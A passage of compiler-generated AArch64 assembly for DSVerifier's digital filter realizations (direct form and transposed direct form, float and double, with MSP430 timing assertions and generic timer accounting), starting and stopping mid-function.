ldr d0, [sp, 88]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE99:
.size double_direct_form_2, .-double_direct_form_2
.align 2
.global double_transposed_direct_form_2
.type double_transposed_direct_form_2, %function
double_transposed_direct_form_2:
.LFB100:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 40]
str d0, [sp, 32]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 12]
str w4, [sp, 8]
str xzr, [sp, 72]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 56]
ldr x0, [sp, 16]
str x0, [sp, 64]
ldr w0, [sp, 12]
ldr w2, [sp, 8]
ldr w1, [sp, 8]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 52]
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 32]
fmul d1, d1, d0
ldr x0, [sp, 40]
ldr d0, [x0]
fadd d0, d1, d0
str d0, [sp, 72]
ldr x0, [sp, 24]
ldr d0, [x0]
ldr d1, [sp, 72]
fdiv d0, d1, d0
str d0, [sp, 72]
str wzr, [sp, 48]
b .L636
.L639:
ldrsw x0, [sp, 48]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x2, [sp, 40]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
bge .L637
ldr x0, [sp, 56]
add x1, x0, 8
str x1, [sp, 56]
ldr d1, [x0]
ldr d0, [sp, 72]
fmul d0, d1, d0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
fsub d0, d1, d0
str d0, [x0]
.L637:
ldr w0, [sp, 8]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
bge .L638
ldr x0, [sp, 64]
add x1, x0, 8
str x1, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 32]
fmul d1, d1, d0
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
.L638:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L636:
ldr w0, [sp, 52]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
blt .L639
ldr d0, [sp, 72]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE100:
.size double_transposed_direct_form_2, .-double_transposed_direct_form_2
.align 2
.global float_direct_form_1
.type float_direct_form_1, %function
float_direct_form_1:
.LFB101:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
str w4, [sp, 12]
str w5, [sp, 8]
str wzr, [sp, 52]
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 64]
ldrsw x0, [sp, 12]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 40]
add x0, x1, x0
str x0, [sp, 72]
ldr x0, [sp, 16]
str x0, [sp, 80]
ldrsw x0, [sp, 8]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 88]
str wzr, [sp, 56]
b .L642
.L643:
ldr x0, [sp, 80]
add x1, x0, 4
str x1, [sp, 80]
ldr s1, [x0]
ldr x0, [sp, 88]
sub x1, x0, #4
str x1, [sp, 88]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fadd s0, s1, s0
str s0, [sp, 52]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L642:
ldr w1, [sp, 56]
ldr w0, [sp, 8]
cmp w1, w0
blt .L643
mov w0, 1
str w0, [sp, 60]
b .L644
.L645:
ldr x0, [sp, 64]
add x1, x0, 4
str x1, [sp, 64]
ldr s1, [x0]
ldr x0, [sp, 72]
sub x1, x0, #4
str x1, [sp, 72]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 52]
fsub s0, s1, s0
str s0, [sp, 52]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L644:
ldr w1, [sp, 60]
ldr w0, [sp, 12]
cmp w1, w0
blt .L645
ldr x0, [sp, 24]
ldr s0, [x0]
ldr s1, [sp, 52]
fdiv s0, s1, s0
str s0, [sp, 52]
ldr s0, [sp, 52]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE101:
.size float_direct_form_1, .-float_direct_form_1
.align 2
.global float_direct_form_2
.type float_direct_form_2, %function
float_direct_form_2:
.LFB102:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str s0, [sp, 36]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 32]
str w4, [sp, 12]
str wzr, [sp, 60]
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 72]
ldr x0, [sp, 16]
str x0, [sp, 80]
ldr x0, [sp, 40]
add x0, x0, 4
str x0, [sp, 88]
mov w0, 1
str w0, [sp, 68]
b .L648
.L649:
ldr x0, [sp, 72]
add x1, x0, 4
str x1, [sp, 72]
ldr s1, [x0]
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s0, [x0]
fmul s0, s1, s0
ldr x0, [sp, 40]
ldr s1, [x0]
fsub s0, s1, s0
ldr x0, [sp, 40]
str s0, [x0]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L648:
ldr w1, [sp, 68]
ldr w0, [sp, 32]
cmp w1, w0
blt .L649
ldr x0, [sp, 40]
ldr s1, [x0]
ldr s0, [sp, 36]
fadd s0, s1, s0
ldr x0, [sp, 40]
str s0, [x0]
ldr x0, [sp, 40]
ldr s1, [x0]
ldr x0, [sp, 24]
ldr s0, [x0]
fdiv s0, s1, s0
ldr x0, [sp, 40]
str s0, [x0]
ldr x0, [sp, 40]
str x0, [sp, 88]
str wzr, [sp, 64]
b .L650
.L651:
ldr x0, [sp, 80]
add x1, x0, 4
str x1, [sp, 80]
ldr s1, [x0]
ldr x0, [sp, 88]
add x1, x0, 4
str x1, [sp, 88]
ldr s0, [x0]
fmul s0, s1, s0
ldr s1, [sp, 60]
fadd s0, s1, s0
str s0, [sp, 60]
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L650:
ldr w1, [sp, 64]
ldr w0, [sp, 12]
cmp w1, w0
blt .L651
ldr s0, [sp, 60]
add sp, sp, 96
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE102:
.size float_direct_form_2, .-float_direct_form_2
.align 2
.global float_transposed_direct_form_2
.type float_transposed_direct_form_2, %function
float_transposed_direct_form_2:
.LFB103:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 40]
str s0, [sp, 36]
str x1, [sp, 24]
str x2, [sp, 16]
str w3, [sp, 32]
str w4, [sp, 12]
str wzr, [sp, 56]
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 64]
ldr x0, [sp, 16]
str x0, [sp, 72]
ldr w0, [sp, 32]
ldr w2, [sp, 12]
ldr w1, [sp, 12]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 60]
ldr x0, [sp, 72]
add x1, x0, 4
str x1, [sp, 72]
ldr s1, [x0]
ldr s0, [sp, 36]
fmul s1, s1, s0
ldr x0, [sp, 40]
ldr s0, [x0]
fadd s0, s1, s0
str s0, [sp, 56]
ldr x0, [sp, 24]
ldr s0, [x0]
ldr s1, [sp, 56]
fdiv s0, s1, s0
str s0, [sp, 56]
str wzr, [sp, 52]
b .L654
.L657:
ldrsw x0, [sp, 52]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 40]
add x1, x1, x0
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x2, [sp, 40]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
ldr w1, [sp, 52]
cmp w1, w0
bge .L655
ldr x0, [sp, 64]
add x1, x0, 4
str x1, [sp, 64]
ldr s1, [x0]
ldr s0, [sp, 56]
fmul s0, s1, s0
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s1, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
fsub s0, s1, s0
str s0, [x0]
.L655:
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 52]
cmp w1, w0
bge .L656
ldr x0, [sp, 72]
add x1, x0, 4
str x1, [sp, 72]
ldr s1, [x0]
ldr s0, [sp, 36]
fmul s1, s1, s0
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr s0, [x0]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
fadd s0, s1, s0
str s0, [x0]
.L656:
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L654:
ldr w0, [sp, 60]
sub w0, w0, #1
ldr w1, [sp, 52]
cmp w1, w0
blt .L657
ldr s0, [sp, 56]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE103:
.size float_transposed_direct_form_2, .-float_transposed_direct_form_2
.section .rodata
.align 3
.LC32:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
.align 3
.LC33:
.string "(double) timer1 * hw.cycle <= ds.sample_time"
.text
.align 2
.global double_direct_form_1_MSP430
.type double_direct_form_1_MSP430, %function
double_direct_form_1_MSP430:
.LFB104:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str w4, [sp, 28]
str w5, [sp, 24]
str wzr, [sp, 76]
str xzr, [sp, 120]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 88]
ldrsw x0, [sp, 28]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 56]
add x0, x1, x0
str x0, [sp, 96]
ldr x0, [sp, 32]
str x0, [sp, 104]
ldrsw x0, [sp, 24]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 48]
add x0, x1, x0
str x0, [sp, 112]
ldr w0, [sp, 76]
add w0, w0, 91
str w0, [sp, 76]
str wzr, [sp, 80]
b .L660
.L661:
ldr x0, [sp, 104]
add x1, x0, 8
str x1, [sp, 104]
ldr d1, [x0]
ldr x0, [sp, 112]
sub x1, x0, #8
str x1, [sp, 112]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 120]
fadd d0, d1, d0
str d0, [sp, 120]
ldr w0, [sp, 76]
add w0, w0, 47
str w0, [sp, 76]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L660:
ldr w1, [sp, 80]
ldr w0, [sp, 24]
cmp w1, w0
blt .L661
mov w0, 1
str w0, [sp, 84]
b .L662
.L663:
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr d1, [x0]
ldr x0, [sp, 96]
sub x1, x0, #8
str x1, [sp, 96]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 120]
fsub d0, d1, d0
str d0, [sp, 120]
ldr w0, [sp, 76]
add w0, w0, 57
str w0, [sp, 76]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L662:
ldr w1, [sp, 84]
ldr w0, [sp, 28]
cmp w1, w0
blt .L663
ldr w0, [sp, 76]
add w0, w0, 3
str w0, [sp, 76]
ldr w0, [sp, 76]
scvtf d1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr d0, [x0, 16]
fmul d1, d1, d0
adrp x0, ds
add x0, x0, :lo12:ds
ldr d0, [x0, 1616]
fcmpe d1, d0
bls .L664
adrp x0, __PRETTY_FUNCTION__.12
add x3, x0, :lo12:__PRETTY_FUNCTION__.12
mov w2, 235
adrp x0, .LC32
add x1, x0, :lo12:.LC32
adrp x0, .LC33
add x0, x0, :lo12:.LC33
bl __assert_fail
.L664:
ldr d0, [sp, 120]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE104:
.size double_direct_form_1_MSP430, .-double_direct_form_1_MSP430
.align 2
.global double_direct_form_2_MSP430
.type double_direct_form_2_MSP430, %function
double_direct_form_2_MSP430:
.LFB105:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str d0, [sp, 48]
str x1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 28]
str w4, [sp, 24]
str wzr, [sp, 68]
str xzr, [sp, 104]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 80]
ldr x0, [sp, 32]
str x0, [sp, 88]
ldr x0, [sp, 56]
add x0, x0, 8
str x0, [sp, 96]
ldr w0, [sp, 68]
add w0, w0, 71
str w0, [sp, 68]
mov w0, 1
str w0, [sp, 76]
b .L667
.L668:
ldr x0, [sp, 80]
add x1, x0, 8
str x1, [sp, 80]
ldr d1, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d0, [x0]
fmul d0, d1, d0
ldr x0, [sp, 56]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 56]
str d0, [x0]
ldr w0, [sp, 68]
add w0, w0, 54
str w0, [sp, 68]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L667:
ldr w1, [sp, 76]
ldr w0, [sp, 28]
cmp w1, w0
blt .L668
ldr x0, [sp, 56]
ldr d1, [x0]
ldr d0, [sp, 48]
fadd d0, d1, d0
ldr x0, [sp, 56]
str d0, [x0]
ldr x0, [sp, 56]
ldr d1, [x0]
ldr x0, [sp, 40]
ldr d0, [x0]
fdiv d0, d1, d0
ldr x0, [sp, 56]
str d0, [x0]
ldr x0, [sp, 56]
str x0, [sp, 96]
str wzr, [sp, 72]
b .L669
.L670:
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr d1, [x0]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 104]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 68]
add w0, w0, 46
str w0, [sp, 68]
ldr w0, [sp, 72]
add w0, w0, 1
str w0, [sp, 72]
.L669:
ldr w1, [sp, 72]
ldr w0, [sp, 24]
cmp w1, w0
blt .L670
ldr w0, [sp, 68]
add w0, w0, 38
str w0, [sp, 68]
ldr w0, [sp, 68]
scvtf d1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr d0, [x0, 16]
fmul d1, d1, d0
adrp x0, ds
add x0, x0, :lo12:ds
ldr d0, [x0, 1616]
fcmpe d1, d0
bls .L671
adrp x0, __PRETTY_FUNCTION__.11
add x3, x0, :lo12:__PRETTY_FUNCTION__.11
mov w2, 262
adrp x0, .LC32
add x1, x0, :lo12:.LC32
adrp x0, .LC33
add x0, x0, :lo12:.LC33
bl __assert_fail
.L671:
ldr d0, [sp, 104]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE105:
.size double_direct_form_2_MSP430, .-double_direct_form_2_MSP430
.align 2
.global double_transposed_direct_form_2_MSP430
.type double_transposed_direct_form_2_MSP430, %function
double_transposed_direct_form_2_MSP430:
.LFB106:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str d0, [sp, 48]
str x1, [sp, 40]
str x2, [sp, 32]
str w3, [sp, 28]
str w4, [sp, 24]
str wzr, [sp, 76]
str xzr, [sp, 104]
ldr x0, [sp, 40]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 32]
str x0, [sp, 96]
ldr w0, [sp, 28]
ldr w2, [sp, 24]
ldr w1, [sp, 24]
cmp w2, w0
csel w0, w1, w0, ge
str w0, [sp, 84]
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d1, [x0]
ldr d0, [sp, 48]
fmul d1, d1, d0
ldr x0, [sp, 56]
ldr d0, [x0]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 76]
add w0, w0, 105
str w0, [sp, 76]
str wzr, [sp, 80]
b .L674
.L677:
ldrsw x0, [sp, 80]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 56]
add x1, x1, x0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x2, [sp, 56]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 28]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L675
ldr x0, [sp, 88]
add x1, x0, 8
str x1, [sp, 88]
ldr d1, [x0]
ldr d0, [sp, 104]
fmul d0, d1, d0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
fsub d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 41
str w0, [sp, 76]
.L675:
ldr w0, [sp, 24]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
bge .L676
ldr x0, [sp, 96]
add x1, x0, 8
str x1, [sp, 96]
ldr d1, [x0]
ldr d0, [sp, 48]
fmul d1, d1, d0
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 38
str w0, [sp, 76]
.L676:
ldr w0, [sp, 76]
add w0, w0, 54
str w0, [sp, 76]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L674:
ldr w0, [sp, 84]
sub w0, w0, #1
ldr w1, [sp, 80]
cmp w1, w0
blt .L677
ldr w0, [sp, 76]
add w0, w0, 7
str w0, [sp, 76]
ldr w0, [sp, 76]
scvtf d1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr d0, [x0, 16]
fmul d1, d1, d0
adrp x0, ds
add x0, x0, :lo12:ds
ldr d0, [x0, 1616]
fcmpe d1, d0
bls .L678
adrp x0, __PRETTY_FUNCTION__.10
add x3, x0, :lo12:__PRETTY_FUNCTION__.10
mov w2, 291
adrp x0, .LC32
add x1, x0, :lo12:.LC32
adrp x0, .LC33
add x0, x0, :lo12:.LC33
bl __assert_fail
.L678:
ldr d0, [sp, 104]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE106:
.size double_transposed_direct_form_2_MSP430, .-double_transposed_direct_form_2_MSP430
.align 2
.global generic_timing_double_direct_form_1
.type generic_timing_double_direct_form_1, %function
generic_timing_double_direct_form_1:
.LFB107:
.cfi_startproc
sub sp, sp, #96
.cfi_def_cfa_offset 96
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
str w4, [sp, 12]
str w5, [sp, 8]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 24]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 28]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 2
add w1, w2, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str xzr, [sp, 88]
ldr x0, [sp, 24]
add x0, x0, 8
str x0, [sp, 56]
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 40]
add x0, x1, x0
str x0, [sp, 64]
ldr x0, [sp, 16]
str x0, [sp, 72]
ldrsw x0, [sp, 8]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 80]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 48]
add w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
mov w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 60]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 64]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 68]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 72]
add w0, w1, w0
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
str wzr, [sp, 48]
b .L681
.L682:
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 3
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 88]
add w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr x0, [sp, 72]
add x1, x0, 8
str x1, [sp, 72]
ldr d1, [x0]
ldr x0, [sp, 80]
sub x1, x0, #8
str x1, [sp, 80]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L681:
ldr w1, [sp, 48]
ldr w0, [sp, 8]
cmp w1, w0
blt .L682
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 108]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
add w0, w1, w0
lsl w1, w0, 1
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
mov w0, 1
str w0, [sp, 52]
b .L683
.L684:
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, 22
mul w2, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 3
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 52]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 44]
lsl w0, w0, 3
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 96]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 88]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 112]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 80]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr x0, [sp, 56]
add x1, x0, 8
str x1, [sp, 56]
ldr d1, [x0]
ldr x0, [sp, 64]
sub x1, x0, #8
str x1, [sp, 64]
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 88]
fsub d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L683:
ldr w1, [sp, 52]
ldr w0, [sp, 12]
cmp w1, w0
blt .L684
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 84]
add w0, w1, w0
lsl w1, w0, 2
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 28]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
